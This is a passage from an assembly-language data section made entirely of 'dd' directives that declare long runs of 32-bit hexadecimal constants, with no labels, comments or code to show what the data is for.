0C2996F11h, 0F8B4B91Bh, 59B7C96Ah dd 2E38CC7Bh, 2B6995E9h, 0C34EEDAAh, 449A96B5h, 1C4011EDh dd 23A3CE15h, 0F70A0164h, 0E30ED71Bh, 86BB1F09h, 0AFA09AB5h dd 4C7CB7B1h, 0ED372A77h, 918388FFh, 0E7EAE005h, 0E1786A08h dd 2119A568h, 9FAFCAB2h, 668991A3h, 0AD9E73FEh, 5FBD5A48h dd 9F250A19h, 6D377472h, 605DA960h, 38AB31B9h, 4A7375AAh dd 0B0AC804Bh, 0AB8C0841h, 0A5D9D0Bh, 1E33524Ah, 0D0F26B4h dd 7D4A9938h, 0E6591746h, 0F5DF3F36h, 0D5A17997h, 4A2F5F44h dd 2D22D8DEh, 0EA20E60Ch, 34C9EB4Dh, 0EF8E29DFh, 0EC6C3088h dd 0A2C9077Fh, 7629CB9h, 0DAD863B2h, 2D788392h, 0BD4C5E0Fh dd 7FF0CBEEh, 90F2EFD7h, 5DEA1054h, 0C269FDFAh, 56479FD7h dd 2B6902AEh, 756251B2h, 0A4AF989Fh, 843AD540h, 0CDF7D9DEh dd 4BA8A564h, 16FB9FD0h, 0EFBD0E45h, 931392FEh, 0DF62631Dh dd 213960E1h, 8579E44Fh, 8660AE68h, 505F3520h, 757C3269h dd 7C1A71F8h, 693FC99Fh, 8FBDA8F1h, 0BF10AAE2h, 0A846546Bh dd 3242BB87h, 6C53DF07h, 3F992F76h, 0D8B3C5C9h, 0B8A3097h dd 180FC56Ah, 733D5794h, 0A16E8815h, 0C359CAAEh, 5D00B53Dh dd 0BDEA90E7h, 67B9C4F2h, 0E763E84Bh, 79334D80h, 6C002346h dd 6CCFD4A4h, 8B5AF8DEh, 60A6125Bh, 38F5CD1Eh, 0E005BBD3h dd 84F24DC6h, 61BFE39Ch, 0B8110E0Ah, 57684BFEh, 0C5E44E65h dd 0F3DBAA1h, 77ECF92Fh, 0CB81084Bh, 0AFEDEA0h, 0D451AC30h dd 3CE9821Eh, 0FD4CC5B5h, 87A17F11h, 0E20C1CB9h, 7ADF3A89h dd 0F91B8072h, 0B5BBAB3Dh, 6DB68543h, 19EAA97Bh, 31361250h dd 39001A99h, 0C2AC1C74h, 0A1A02E4Eh, 0B1141B83h, 0F1971C75h dd 0B972C52Ah, 4D8A448Dh, 3E46D53Fh, 95E43EE6h, 8B2D8BDh dd 95C72AF8h, 0BB80C946h, 0AFCC2F1Dh, 959A90D2h, 323D2743h dd 0D6AE03DBh, 29782EC2h, 90DE1290h, 0C5D2295Dh, 0C324D7BFh dd 0F231E461h, 969FACA5h, 70F5794Dh, 0B2163B04h, 599040D9h dd 0F3BFFA25h, 621751CBh, 0F4C410CEh, 4FA8789Fh, 5B7E5E4Ch dd 0A8B93C3Ch, 9DCBC283h, 0F9A9EDEEh, 499A11F6h, 46B61A3Dh dd 0C1041501h, 0D255430Ch, 6858781Eh, 0BE5AF10Ah, 0A632E627h dd 0B7E22AF4h, 14484FEBh, 0C4190681h, 0D01498C1h, 0A62EC6A2h dd 0AE0A4D06h, 0DE6B9145h, 0A59D332Fh, 65C04CE7h, 7AC2B463h dd 7FE19050h, 364EBE30h, 0A8D542Fh, 0CE70F471h, 0E870A00Eh dd 0AE89A679h, 836F7D6Bh, 962A7209h, 0F42B150Ch, 8B16C9EDh dd 92FD1CD3h, 0FBD67EE8h, 280A2B12h, 69D99D1Eh, 0D34F57CCh dd 84FF8DF2h, 352A8659h, 23CA2511h, 9AFB5734h, 454269C8h dd 6E30EC8Dh, 448D4751h, 0F6136DADh, 54FCD61Eh, 45774CDAh dd 0F744C336h, 708880D9h, 9F0FFDBEh, 65AD6E78h, 4730AFD8h dd 9CC30375h, 0F65D9D8Ah, 9F787E47h, 262309h, 69D33FDEh dd 80D85392h, 463A17A0h, 0BC2C122Dh, 0F4D8A0AEh, 8CEFBAD0h dd 9EF2FF85h, 79925951h, 59BE7309h, 0E5B7D5B0h, 3621A14Dh dd 0C0EC2DFCh, 0B03B576Dh, 0AE9F04E9h, 611A0BA1h, 56F322DEh dd 0D67A416Eh, 51001017h, 0AD36D87Bh, 9F8FD9Eh, 37A2AA23h dd 0D21D3456h, 35D0FE58h, 0B2B44BFh, 0E1B0665h, 691D2DA6h dd 28B2A217h, 8F3FDC51h, 7000232Eh, 0A0A6B342h, 0B4A56C32h dd 5F412B67h, 40D6FA31h, 5F3E4110h, 391B7487h, 0CC999D4Fh dd 163A12BBh, 0F91A2EE6h, 0F4282C85h, 25B56B13h, 0EB2854C0h dd 0FBCE8CDCh, 8C12D790h, 62FE6C89h, 59A28409h, 4BDACDC7h dd 133CC892h, 4BC483CEh, 0C9A6D8C0h, 224DA131h, 185E49B7h dd 527A6433h, 0CDFB8B5Ch, 5B504547h, 0E2CE3638h, 0EAA29ADh dd 33BBEBEFh, 3D8B799Fh, 0B3AE8941h, 5C98AC84h, 37D09F31h dd 312973C0h, 8BF476B2h, 7373EF6Eh, 28C58854h, 0C06814C5h dd 76D74B2Ah, 2754A293h, 0D93AFDBAh, 799A8E00h, 7A69B14Ch dd 88BA29E0h, 0D014187Ah, 0F8B84202h, 8F6968E1h, 6159F100h dd 0AF41C104h, 0CD1D8F70h, 0C0908D66h, 51A206A0h, 0E0A05280h dd 91524A60h, 2AC1CDB5h, 73DEFA15h, 342D8B59h, 0E6722DEEh dd 6CBEF377h, 0CA20D601h, 0C2719CC0h, 0BE71B8D4h, 3DA85D22h dd 0E252C1BAh, 7750D945h, 0E45BCCCEh, 0F351AEB6h, 21302C0Ah dd 3D88BA23h, 0CB5446ABh, 0B9DF11CBh, 0DBF3A004h, 0E5B5B34Ah dd 8939214h, 0B4BE8EA8h, 0BA1AD61Eh, 9615386Bh, 36D68096h dd 75B01F5Ah, 3EB9E092h, 88C45D24h, 0DC4419B0h, 4DE1A0h dd 0EB0368E8h, 0AC6F0D23h dd 0A0756A54h, 2ABD7996h, 0E5DA9C7Dh, 910C00EEh, 7B9088F3h dd 0D92DFDBBh, 0BF39AD73h, 9A37A0Ah, 89B0935Eh, 608ACF7Eh dd 19382A64h, 0BD024988h, 0AE071EFEh, 102C3EF2h, 8FE10301h dd 4630BE2Eh, 5620DC4Eh, 3DD1B01h, 0AB6C5325h, 0AF8C3BAEh dd 203A43DAh, 450B9AAAh, 991160A6h, 685F808Dh, 92EE65D1h dd 0DB537322h, 3E161B07h, 0C83C09E0h, 24D2223Dh, 0C49B28BEh dd 0DF0BCAFDh, 28D5EB2h, 9FA2CAFDh, 241647E9h, 32B5AB34h dd 0F1A0BFC2h, 0A6B342Dh, 4283071Fh, 866BDBBDh, 130C99C6h dd 68F8F96Ah, 69661A9Ch, 8FB436AAh, 0DA643CF8h, 0EAA2912Ch dd 91F62E00h, 0F0EA0891h, 6E7D5C96h, 4E363D6Eh, 0CF0C6DB7h dd 0B6D75CA8h, 0AE8C97F9h, 8FBE4C9Ah, 4A4C540Dh, 0E77311A7h dd 6D4B0149h, 67831ED2h, 15FE07D3h, 7F20D5F4h, 6F2959EBh dd 4B64F759h, 0A68F76DFh, 6E59FD18h, 0B140543Ch, 0E31EC930h dd 0D680B353h, 925E5C6Bh, 23ECDD5Dh, 0DECFF985h, 7C89AA6Eh dd 7B5A9813h, 0A7CFF16Fh, 0C12C5305h, 0D147243Eh, 5E69180h dd 7FC1FE37h, 28AEAC79h, 20324056h, 9A81F20Eh, 2B9ED623h dd 2ACE7A3Ah, 0A2DE9F19h, 5A777A98h, 7540F488h, 9F91FB3Dh dd 6B05000Dh, 49A88745h, 0E01A527Ah, 3E0387F8h, 0FFBC02A5h dd 60D5B800h, 0D32F5240h, 0FB98EE90h, 0F6EE4516h, 1FB3C9A8h dd 8754812h, 6875ADE5h, 0F59F1E9Fh, 14F1DDCFh, 0A96D1A70h dd 807ADC6Ch, 9C657FCBh, 0E802C1F8h, 0CF4579C5h, 5807F4A9h dd 389C1801h, 335608BBh, 7113FD14h, 731214DBh, 55F9418Fh dd 0AEA28638h, 5EC18F7Fh, 0C47EF2E9h, 471DDAC5h, 0D63F67B9h dd 275035C9h, 0B5374B2Ah, 0ACA97104h, 6F5CDD0Ah, 0CA679573h dd 0E1361A00h, 2DA0F906h, 50B8B1EBh, 578B04E0h, 0C0BB389Fh dd 2F274878h, 24BDC10h, 890E270Fh, 1E8E0212h, 6841A6F9h dd 859D6B82h, 6F5F31D1h, 8867C250h, 0E3556610h, 0EDCA68B5h dd 30BA764Fh, 0E9349343h, 6BD201BAh, 7A6A60FFh, 2CD5E9FDh dd 81609DC8h, 0CE5A3CB5h, 0E4D52582h, 3CAD93F8h, 665FA02Ch dd 69ADAC1Ch, 900A7907h, 5254BA14h, 0A7907022h, 0ED0626C4h dd 281D1B54h, 0F2F3820h, 0FB12963Bh, 3B11ABA2h, 0E983D904h dd 68093C42h, 8125BE70h, 5A0C2210h, 9DB4588Bh, 1A8DA406h dd 66B9F074h, 6CB1E264h, 1805F315h, 8098AEE6h, 44345FC6h dd 72F1A08Eh, 0E6CBB6BCh, 0F49B1F85h, 24802ACDh, 0F058F127h dd 12F49BE0h, 0C86E783h, 658683FEh, 2517FCB1h, 140E1182h dd 7E756291h, 1A29E0DFh, 544691FEh, 0D3317EE0h, 31E19F7Ch dd 91A855C0h, 4A9D1DEFh, 13872B48h, 0FCB56776h, 8E86C81Ah dd 6C3F38BCh, 1C090163h, 0F69F70D6h, 1CCCD489h, 3A0EE638h dd 258B474Fh, 2C4A0A1Ah, 1C0036BEh, 83FD5479h, 7509CC94h dd 0FFA105C0h, 0A3FCCFEFh, 9E1D1830h, 0CDC3C379h, 12FB890Fh dd 0E57525h, 0F4888427h, 0EFD90674h, 9F83794Dh, 6E4DE651h dd 0F223B657h, 492DB0F5h, 0E6ACB3F6h, 0D916C872h, 7682201Ah dd 0E179235h, 645A4FECh, 0E1381523h, 86037051h, 7573F40Ah dd 0E05A1E45h, 2EAE7EE4h, 85E6C26Bh, 77769000h, 599DC66h dd 8CDAC8CEh, 350B9921h, 2B522383h, 0E87F9E8Bh, 4800A28Ah dd 7A12D40Ah, 0A8F59DE3h, 7C9D38C5h, 0AAAA9A7Ch, 77E17BD0h dd 0AACC39C2h, 0C7BAC521h, 3341DAF9h, 0FA5D92Dh, 0C1328E3Eh dd 166327F1h, 423AA0F7h, 4FA223D8h, 6C8BE4D2h, 10C03026h dd 8AF2DA58h, 964D00F2h, 652A148Ch, 0B605CAC3h, 714461D1h dd 9074BFh, 0A19858D1h, 9169CD20h, 0E8F694E5h, 0AA9FBDFAh dd 0F0AD6D6h, 42080C1Ch, 6826F1CDh, 912D80CDh, 8198126Ah dd 0EC884F3Bh, 9E59F222h, 929DFCD7h, 1C8F629Bh, 8EA78B84h dd 376B68h, 0DCDA3C74h, 4C2705DFh, 66AC4216h, 0D9071E24h dd 0BA50D5B5h, 2E89060Bh, 0A8C54C9Ch, 3DDAD2ACh, 3FD8A5D1h dd 1B435296h, 0C12949B8h, 33A849E6h, 0D37CE243h, 0E98E6718h dd 454EFD4Ch, 0E53E5F62h, 3CCCFCD1h, 322CF8D3h, 5FF75545h dd 615D597Bh, 0A5652450h, 0B101CD1Ch, 2D6F9C1Eh, 76C7827Fh dd 60D3798Ah, 0F210E963h, 61995E3Ah, 2CCEAEFEh, 8D13BBACh dd 9994B149h, 6629C8C6h, 0E0FCB176h, 0B98DECB7h, 0C6D7E168h dd 0A2CCEEFh, 6C15DC41h, 300A05C1h, 0C0AB3A9h, 0A61161F9h dd 648B6159h, 0CE07B50h, 90810006h, 0FC4C9252h, 6EBF4D5Eh dd 198D8219h, 254A9B52h, 7EE8EEB7h, 4B90251Ah, 0E0B94Bh dd 73214414h, 69A4668Eh, 64CBCF2Ch, 78C81A78h, 316CDCC1h dd 0B86ADC7h, 807FC30Bh, 24FC7325h, 0A802E458h, 4A676CB5h dd 78AC5998h, 7B4020ACh, 7FC79D7Bh, 58C87835h, 7E3D4AB9h dd 0D642B4D7h, 189C4860h, 0C329F8C3h, 3C13EC6Ah, 0CCE1FA7Dh dd 0EA2EAA94h, 94594F6Eh, 82F0E55Ah, 54E3A76Fh, 0A1C6DEE6h dd 74425E58h, 3B94727Ch, 7020C35h, 0A20D40A3h, 0D7D49ED1h dd 7B254B9Ch, 0CDEABC31h, 0B1501EDCh, 0FB00295Dh, 0C9A75D56h dd 67569114h, 394756F4h, 77EBEC66h, 0BDEE0195h, 0CE791BB0h dd 0A9AEE142h, 1830DFD3h, 8B1CB0EBh, 7F926E0Fh, 9A65F20Ah dd 7E686A7Ch, 0D97452C4h, 0C9667BB1h, 0D356AB86h, 267925EAh dd 0EDB6D22Bh, 0B7257736h, 824C3ACFh, 0C7FE112Ah, 0DE44398Fh dd 83DE8E72h, 79BAF9CCh, 0FCDD5493h, 4C1D3AA1h, 43479045h dd 19662EAAh, 875F6F55h, 0ED124C26h, 4988CB84h, 0D93615ABh dd 740605D4h, 0BE30DFCh, 2A107F73h, 340ED7C7h, 0E366441Fh dd 9C26171Bh, 8A32BCC7h, 0D815C002h, 0F6C48CCBh, 4ED5C098h dd 953F2892h, 3028D290h, 0D75F386Dh, 92FA6C04h, 0C655CEBAh dd 0ABC4E2EFh, 79B641FDh, 66C83D4Ah, 0C79836FBh, 0DEF7944Dh dd 9ECD3104h, 7F692E53h, 6CFAC20Ch, 0E20ADF6Bh, 0DE0F89C0h dd 0F77468C4h, 0DCE80B6Eh, 0DD2D2516h, 0D9DDD2F0h, 4F8966BCh dd 4205EB5Dh, 0C909E9Dh, 3D387CD7h, 0F0AD3551h, 73B76045h dd 0D5AED950h, 4B4E7FE2h, 0EFF1B78Ch, 4E00C392h, 10BF4E63h dd 0D559E7D9h, 0D1255037h, 0D348E192h, 3EBA2C75h, 0CAD29B9Ch dd 8B160898h, 807B0900h, 80AE84B6h, 1E97076h, 85D5C368h dd 0DF456880h, 6EDEB661h, 768C6E3Ah, 398D76Bh, 79F3D984h dd 4CBC61CEh, 241C29Ch, 5F27BA73h, 0DD2E3A7h, 0CDFBDA38h dd 3C51B479h, 0EC0B0AEAh, 1B9F4A3Bh, 0E2206985h, 0BC74A04Eh dd 1A437168h, 9957149Eh, 6FDFE354h, 295F744Fh, 0CF6543E1h dd 93BAE955h, 46CCCECDh, 0D7E2757Fh, 0D5F2D74Dh, 0CE4746E5h dd 73AF009Dh, 780F80FBh, 75F71AF0h, 0E2072680h, 0A8C5F63Dh dd 0C38E8A91h, 73B1DC19h, 2AB52097h, 91C69C0Ah, 5E10B068h dd 8675C236h, 0C0837A42h, 5774EF75h, 0BEC4D316h, 689491AEh dd 0CF124F03h, 6FAACB7Bh, 0B335A8A6h, 0F52FD540h, 0DCC1ACD8h dd 4BD0D2BEh, 0B3F1846Eh, 914A6364h, 504797FBh, 9A4B9786h dd 0E2CE32C4h, 2DB6E313h, 0DD9C2268h, 5E154195h, 4C4EC8BDh dd 13D66386h, 57CE3B67h, 0C98427B1h, 4E72F399h, 2566F960h dd 0E9E467DAh, 186794E1h, 0CAB375ABh, 22EC1698h, 0CA43E3A3h dd 2845D1B7h, 4DC7C814h, 2D727289h, 87D9843Dh, 146B315Dh dd 0CE810D54h, 0B90A9F82h, 69B147E7h, 636E7C9Ah, 7DA0769Dh dd 210CA72Fh, 85A24FF3h, 71BA1621h, 1D29590Ah, 1D332C4Eh dd 0F2C17F8Ah, 0EC475B2Ah, 47092539h, 0AB0FD58Ah, 0BDC68516h dd 0C96637EFh, 4E9B9326h dd 2A41BB63h, 0C82878E0h, 0F38AE472h, 0D632D449h, 0B9EC6098h dd 7F7B565h, 498B759Dh, 9A21D9E7h, 3FB15894h, 0CBD92C4Ch dd 9E6FD20Ch, 0C17EBF02h, 9B1F522Eh, 2A55F370h, 0B0A94DD7h dd 8480E536h, 465C49C9h, 60CFB03Dh, 3E7A50EEh, 0D9B99505h dd 9214D9D9h, 20B47204h, 9726BAAAh, 46A07514h, 73809174h dd 0DB6B905h, 17B1523Dh, 30D2FF4Ch, 809F2D64h, 89C255Fh dd 9A98122Eh, 0C85EFBD6h, 3F9909E0h, 0EEF2BB49h, 57C49226h dd 2F197902h, 0B4671CD9h, 0E4812A7Bh, 0C412DFD9h, 0B44F0985h dd 773C8B71h, 0BE8D21BDh, 6450D342h, 697AF3C2h, 0B8E7E08Fh dd 13AE4BECh, 2D884BFDh, 329602A1h, 0C14AD9DBh, 0F2598BFCh dd 0A530F381h, 37BBDBA8h, 2F1C84F0h, 5AC978ADh, 93869E64h dd 0D2F8BEE6h, 8D067893h, 0BEA1D9D1h, 51304B7Fh, 0CA6CBA26h dd 8777D581h, 8295B4D4h, 51BE32B0h, 1690F320h, 0C25924Dh dd 0E56293D0h, 0FF0239E9h, 895255DFh, 0F30CB47h, 1E229E93h dd 79891E31h, 9F243A5Dh, 9EA06D63h, 30ED1A4Ah, 6B7E0259h dd 0D3E364BEh, 96C38857h, 63450BC3h, 8C6F404Fh, 7EE2C18Dh dd 80EEEA0Fh, 2B7028DEh, 0B1ED70FCh, 9165C4B9h, 6BD73D5Ch dd 6F9881FCh, 3A6B7A0Eh, 6F970E1Eh, 0D28CC45Fh, 3E785D09h dd 65E3DFFFh, 355AFA83h, 453BD52Bh, 0C825A258h, 0F0A94BCFh dd 4494FC9Ch, 6C6F45C5h, 3D4CDBAAh, 8FFD8250h, 0A295E148h dd 0F1B85F74h, 29757BF4h, 7E509DE1h, 0F3C3FD73h, 3D64FB46h dd 8E62ACD8h, 60353535h, 94E948C5h, 1001FCA4h, 6CAC9F48h dd 0AF5EF023h, 80BF74ECh, 0AB8316E5h, 512D487h, 77AAFE82h dd 0C9D74C91h, 0F96D5D09h, 3BA00797h, 735EF356h, 0CB03D54Dh dd 0A4324377h, 0E8C5FE71h, 748B6AE8h, 1EC13FA7h, 0A2DE870Dh dd 0DE623EA7h, 0D608B40Bh, 777B1119h, 378B01DDh, 4AE07980h dd 7B6A14B2h, 88FA5C05h, 0ED392B19h, 6C4008C8h, 8B47436h dd 0F93DD44Dh, 0F80C7F02h, 0E13A62C8h, 1F493679h, 9F0E3883h dd 0D28FCB57h, 58972FA2h, 0A1843FF4h, 5D1D7450h, 5CDEF80Ah dd 0AADE7BDAh, 6ABE4C42h, 9AD38D9Dh, 0C4DC98D5h, 31616196h dd 91233E4Eh, 9DBEA460h, 912E0838h, 0B707C955h, 6560DF28h dd 19E3105Eh, 9870E5FEh, 82695AF1h, 217C0545h, 6FC4B6DFh dd 1704EF80h, 0BBD34755h, 80DFD92Eh, 35E1AFF3h, 5BA9D1Fh dd 0E8E5E27Fh, 493144A3h, 0DABF8947h, 194BFFEBh, 79FC86B2h dd 0F5FD661Ch, 0AC4DE21Bh, 0E5335C6h, 0B78BBBEBh, 0FAE938E2h dd 0EEE88EDEh, 0A455F8FCh, 4402AA77h, 27A94463h, 0E0B54D07h dd 643FBE8Dh, 5AA0513Bh, 87E8352Dh, 872A41B0h, 8D4F0AEEh dd 9440CD4Ah, 0AF94CDA3h, 487601DAh, 0BCA320C2h, 8151DAB2h dd 43887E07h, 0A4209C7Ch, 38E8A8B2h, 3E0645FAh, 36D495B5h dd 9A43666Ch, 10800703h, 3A518848h, 717D909Eh, 8F378C38h dd 24941377h, 0FD316716h, 9AAE8CA7h, 0E7F06BCEh, 0BD47ACC3h dd 0E1D66790h, 609833FCh, 9B01E029h, 6463D353h, 0EAC98BA8h dd 0DBFE302Fh, 0C73AA2A2h, 778BBEFh, 7B55CC3Ch, 9AF76752h dd 3241E96Eh, 0A3092232h, 0DC174595h, 67CBAE31h, 0E1A6BB44h dd 27747AFDh, 5ED9E9B3h, 0E088EB00h, 7E151DEh, 53DEE802h dd 1D28431Bh, 0EF78F315h, 0AF07A3Ah, 0EDD8E392h, 0C416DFB0h dd 78F4F25Eh, 2288BB9Fh, 187CC0F7h, 97E5956Bh, 1F126A8h dd 15804987h, 0B57A3258h, 5D8978CFh, 0EA93FACh, 7907998Fh dd 5BDD09BFh, 65740797h, 0A6CE0Ah, 69520575h, 428B77C8h dd 6E59548Dh, 16835E5Fh, 62C1B4B0h, 0BE3463CDh, 7D0AD1DCh dd 36B2BD7Fh, 0A80F817Eh, 0C29191F1h, 0D17855BBh, 8AEDF9DAh dd 1DDCF9BAh, 98FF6B89h, 999E37B6h, 8C63C040h, 454DBECEh dd 0E8DF90CEh, 7AEFFE74h, 89E48BC7h, 0AB68C74Ah, 307381B3h dd 6CDC94C0h, 50B17FEBh, 9186DB9Fh, 0D96EB21Fh, 97FA4E7Ah dd 391307E7h, 60979454h, 53579E41h, 8CC9DFC0h, 0D3146667h dd 0F4487BC4h, 994F1040h, 0F8B05BA3h, 4B7A83CCh, 2C024747h dd 9ED316D7h, 16850EB9h, 0F5D8CDBEh, 0F73C7321h, 0A9BDD6FAh dd 2E878AD4h, 114F88DBh, 19F0647Ah, 1B1716A4h, 0BE4BA1D7h dd 92D2014Ch, 0CD4EAB05h, 39B03E11h, 0EA186E9Bh, 48517E20h dd 0A1B91C8Eh, 0D3B4B4EDh, 2D02A612h, 1C8F759Dh, 29A0058Dh dd 0E6070663h, 0DE0A6777h, 0B9F3A5FFh, 9751FD32h, 0FA50D694h dd 0CF38AB26h, 30372526h, 4DDC99B2h, 276B7A96h, 3D63488Dh dd 990F6C5Dh, 7F8063E0h, 0EFC982D1h, 0ACA19BC6h, 94477978h dd 0EF036821h, 0A5BA9EDEh, 84F46EA7h, 8420DBF4h, 8225ABCFh dd 9C6A8DFDh, 12D6EBF3h, 3834948Dh, 990885h, 2E8E7338h dd 0CBBFF4D4h, 6790E31Eh, 7344ADECh, 0D780B521h, 0A56E3DF2h dd 4F28AC1h, 0BC2F994Eh, 0B1293D14h, 38115F76h, 0DC68CC42h dd 0FBEE4371h, 0F5A4949Ch, 0AA1A4135h, 29C2DEB9h, 1BE55171h dd 117612A7h, 8E24031Ch, 38143C50h, 3F151DEEh, 0E3A957ABh dd 1ACFA8F0h, 4625F33Fh, 0A9FB9A9Fh, 5B479BAFh, 0E70A3382h dd 0E5F68BA8h, 0AF8F2A2Ch, 3EF36A9h, 0F89E6754h, 167D6880h dd 0AF6C349Eh, 1464C4F5h, 37503BDCh, 87B7D4h, 30CA481Dh dd 0EB49B5FFh, 9C26E60Bh, 5ED677A5h, 409028E2h, 0D2343AFAh dd 1985770Ch, 0D5775AB0h, 0C8001E23h, 51972308h, 835FC487h dd 9BFDFE8Ch, 2A910C1Ch, 7FDB6CCBh, 0BB7BE0A3h, 88D183A0h dd 67D13E55h, 1A5AB752h, 0AFC67CBBh, 0D596285Fh, 0C6308EC9h dd 453C889Ah, 0F9522451h, 0BCC28FF3h, 26A8B90Ah, 2711BC5Eh dd 67352AA2h, 0CDF45196h, 945007BFh, 70AA823h, 1FBD5AB2h dd 908BF603h, 9A83CFA9h, 0FEF62C9Ch, 30A4A687h, 0DCE09188h dd 3B9BAD4Bh, 0D14D5F74h, 0CD680812h, 17BC7003h, 7AAC2DB7h dd 0A3E2B1C5h, 96AABBA6h, 0FD824492h, 0F346EC64h, 3FD66CF2h dd 0F3F886F1h, 38213042h, 63A3A669h, 80FFA7DFh, 0E8D72902h dd 42CA7F57h, 908C3DB6h, 6DCC9527h, 4FC42EB1h, 0CD842544h dd 32452949h, 726F963Bh, 329B8053h, 0F5DA1CE3h, 1235BD66h dd 0D5D1F667h, 0EF7C8FB9h, 0F27B9746h, 0A3628FC1h, 16F1AED6h dd 0B2E4BD4Ah, 6D641447h, 620D9F9Bh, 316B2625h, 0D028446h dd 0AAC8392Fh, 0FF85F060h, 0E70F1BC6h, 811CFEADh, 7F073362h dd 0F467E49Bh, 5A31F5BDh, 0F421A3FCh, 0C7E81BC5h, 1F149CC8h dd 8A8D398Bh, 328DA498h, 0D5F933A3h, 384D2FE6h, 0F601262Fh dd 8B6695BDh, 0F3588496h, 9F880B28h, 0CCC1AB99h, 90CC4B8Ch dd 8A2B2021h, 10F65CFFh, 1C1B7FC4h, 122DC982h, 8324DAB0h dd 528FD2A6h, 1A4DCF6Eh, 262115FCh, 294F4EDBh, 17CF66B2h dd 7FAF84F2h, 7220E33Eh, 1B80C13Dh, 0D2E65D8Fh, 14DCAB8Bh dd 0AFBDE979h, 738888CDh, 2FDA20Bh, 4CCCBB1Fh, 8AC7156Fh dd 0EEAC7A5Eh, 0FDD4FF8Fh, 0E820016Eh, 0C2AABC2Eh, 0C5FFC89Eh dd 9B12F093h, 400974F0h, 2B59467Eh, 0CE4A83C7h, 0A891495Bh dd 7A3E882Dh, 0AA2C4F9Ah, 18C7E644h, 6BF4207Fh, 5F0EFDE6h dd 92F9EC83h, 0C1E4BCA3h, 3DCAD96Ah, 7AE56365h, 948C2B61h dd 1E2DB8E4h, 0F26378BDh, 6E126BF1h, 806634FFh, 0AD03354Ch dd 3F5BBE32h, 6EE4B86Ch, 0C89615E8h, 0A75EF3C9h, 0CDB3D526h dd 4DE3083h, 0CBB7A474h, 0E06B0E40h, 2215F4Dh, 0C6BA690Dh dd 46AB3813h, 80EB1A43h, 7FE100h, 43D02A30h, 6117A88Eh dd 43844F2Eh, 265832AEh dd 19E2B9BAh, 2FEA93A5h, 0CB4D61CBh, 0DA356781h, 9C19A095h dd 0C3E07078h, 70FF0E3Eh, 7AF3C8A6h, 247F3D8Dh, 0C76A327Bh dd 218E1058h, 3E442C8Eh, 1EEE6D56h, 81DDF3E3h, 0C7969E6Fh dd 0D228E6D1h, 0B6CDF0BCh, 0F174BD0Ah, 59D2F317h, 0F1026C6Dh dd 6C0D1661h, 0ADAC42Eh, 0EC64061Ch, 672C71Bh, 8C672372h dd 678BF241h, 18B3F39Eh, 5A7EF28h, 0C61FEFD7h, 432D1EEDh dd 0EFCDB59Bh, 2E839985h, 26962149h, 496326CDh, 0DCA97B7Eh dd 8BA5BA1h, 8CA26471h, 10FBB15Fh, 0F2F546C0h, 814AF66h dd 3530673h, 3A15FFB5h, 1DC927DCh, 70BF2814h, 0EDEA5749h dd 0AED5D59Dh, 9195A108h, 801D41Fh, 5A0F16E6h, 35440136h dd 90F5B21Eh, 0E79DF532h, 0DB5E3C50h, 9FC808A7h, 3EF195F9h dd 0FC4D5E24h, 0FA75F43Ch, 5C0F90F2h, 21E37656h, 7B053608h dd 7C097647h, 5E299080h, 7515ABA1h, 1AA404Ah, 220047Bh dd 0A8EF3EDh, 0CC2644F9h, 6ACE2F60h, 0E87D777Fh, 0D0649157h dd 898F4BE8h, 0A289141Dh, 4F28639Bh, 25C33F8Ah, 52CEF1B7h dd 0C552E08h, 9D691554h, 134E2334h, 0C131FA77h, 534F2225h dd 0EA5207A2h, 0D8B65692h, 7FBA1181h, 2D1E617Dh, 9FC11769h dd 7EB81328h, 1AB5F8C6h, 0A9167121h, 3BD6E4B7h, 98569338h dd 465FC160h, 0A56E277Fh, 3E7C90E7h, 5C1C4A1Bh, 6160DD44h dd 9045AF5Bh, 6D3392BBh, 2BDDA373h, 0C521B57Eh, 0CE78184Dh dd 7C08D6E7h, 6CC7D3C1h, 0B81ED5D2h, 8AB79DEBh, 0F7BC945Eh dd 0FA07BCC5h, 9B576F92h, 0FE63FA1Ah, 0AB3157DAh, 0E93A564Ch dd 0F877438Eh, 7A1E73CAh, 6288290h, 0D8E789C2h, 345F0473h dd 7B38B398h, 0B8685A31h, 977155EBh, 0B30AAC4Dh, 66EA7EB6h dd 0DBFEB466h, 88E9B739h, 0B55C7E21h, 89FF2117h, 0DBF6FC6Ch dd 4A2BF89Eh, 63736F6Ah, 11D968E6h, 0B97A0644h, 2D9AC305h dd 0CA7B83EDh, 396AB9D2h, 9C05FA5Bh, 8546AB83h, 9882FB60h dd 0F25C3B24h, 0DF9F7050h, 8CB482AAh, 20F198BEh, 0D56A55A8h dd 98E2B1C8h, 595F5BDAh, 91E0860Bh, 2387394Dh, 8E00A587h dd 0E39939ADh, 7D98A507h, 0C6F0DD61h, 0E5E3BA12h, 3DBF0D13h dd 0E368ED10h, 53B7742Bh, 43EF0D4Bh, 0D9591FAEh, 0D1E29406h dd 7B58231Eh, 932BC36Ch, 0F20745EFh, 0F8F45FD9h, 4F32E676h dd 15A185E9h, 0B4610D97h, 3A15A0D8h, 0AF369972h, 5F58A092h dd 956B362Ah, 0C170C19Bh, 8BCE9060h, 3F0A68F4h, 0B5986FD6h dd 29040B07h, 4D431F31h, 0D98CF305h, 0C5527CE4h, 30CE4165h dd 954045BBh, 80B99D8Bh, 0A21B3C69h, 0EF8016E7h, 45C9BBFEh dd 0E3A1DEFFh, 0CB11E861h, 0B8A81D17h, 4B9927EBh, 0B6D6C3C9h dd 2A9FE888h, 899D36F5h, 0C93AFBF3h, 0C345986Fh, 0E8D0D611h dd 0D2E48967h, 8AFD28h, 2537DAD6h, 0ECF54784h, 44EDBCB6h dd 8B479F5h, 63169C51h, 6D8FB370h, 0B749B171h, 80243728h dd 0E4740BDDh, 3A7202D0h, 0E4CB2122h, 72E27CA5h, 36A750D8h dd 817015D1h, 66B28520h, 0CB3DDB6Dh, 998244EEh, 5A5369F9h dd 9E9D0AF0h, 2365E9ACh, 69C2B254h, 72B59832h, 4EBAFA3h dd 605980A9h, 31A5F620h, 0A035919h, 0E9941733h, 61FA4CF0h dd 6F723D30h, 0F6354139h, 92C1597Ch, 57C11257h, 0D09D5FEAh dd 0C205CFCAh, 175DB6DBh, 0BCE234C2h, 2DF1D406h, 3D63C9E8h dd 0F82C877Ch, 0BE43A16Eh, 0CB45109Eh, 0FF85F91Eh, 374B6736h dd 8A4F10E8h, 9FC3A1CBh, 13C0A03Ah, 0A189CDD7h, 0A8F37D53h dd 57CAD5E3h, 196BBAA2h, 0DFAA326Bh, 4FCAD860h, 4F45F04Eh dd 0ED7D2717h, 0BE111C0Bh, 2B2FA183h, 16EA804Eh, 2D9BE95Eh dd 0B743AD45h, 